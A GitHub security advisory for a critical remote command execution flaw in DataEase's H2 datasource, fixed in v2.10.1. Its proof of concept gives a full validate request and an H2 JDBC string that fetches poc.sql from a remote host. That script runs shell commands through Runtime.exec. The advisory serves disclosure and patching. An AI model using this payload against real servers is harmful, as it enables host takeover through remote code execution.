Loading HuntDB...

GHSA-h7mj-m72h-qm8w

GitHub Security Advisory

DataEase's H2 datasource has a remote command execution risk

✓ GitHub Reviewed CRITICAL Has CVE

Advisory Details

### Impact
An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message:
```
POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json

{
"id": "",
"name": "test",
"type": "h2",
"configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}
```

h2 data source connection string:
```
// configuration
{
"jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}
```

the content of poc.sql:
```
// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')
```

You can see that the file was created successfully in docker:
```
/tmp # ls -l jdbch2rce
-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce
```
Affected versions: <= 2.10.0

### Patches
The vulnerability has been fixed in v2.10.1.

### Workarounds
It is recommended to upgrade the version to v2.10.1.

### References
If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease
Email us at [[email protected]](mailto:[email protected])

Affected Packages

Maven io.dataease:common
Affected versions: 0 (fixed in 2.10.1)

Related CVEs

Key Information

GHSA ID
GHSA-h7mj-m72h-qm8w
Published
September 23, 2024 8:27 PM
Last Modified
September 23, 2024 8:27 PM
CVSS Score
9.0 /10
Primary Ecosystem
Maven
Primary Package
io.dataease:common
GitHub Reviewed
✓ Yes

Dataset

Last updated: September 11, 2025 6:35 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.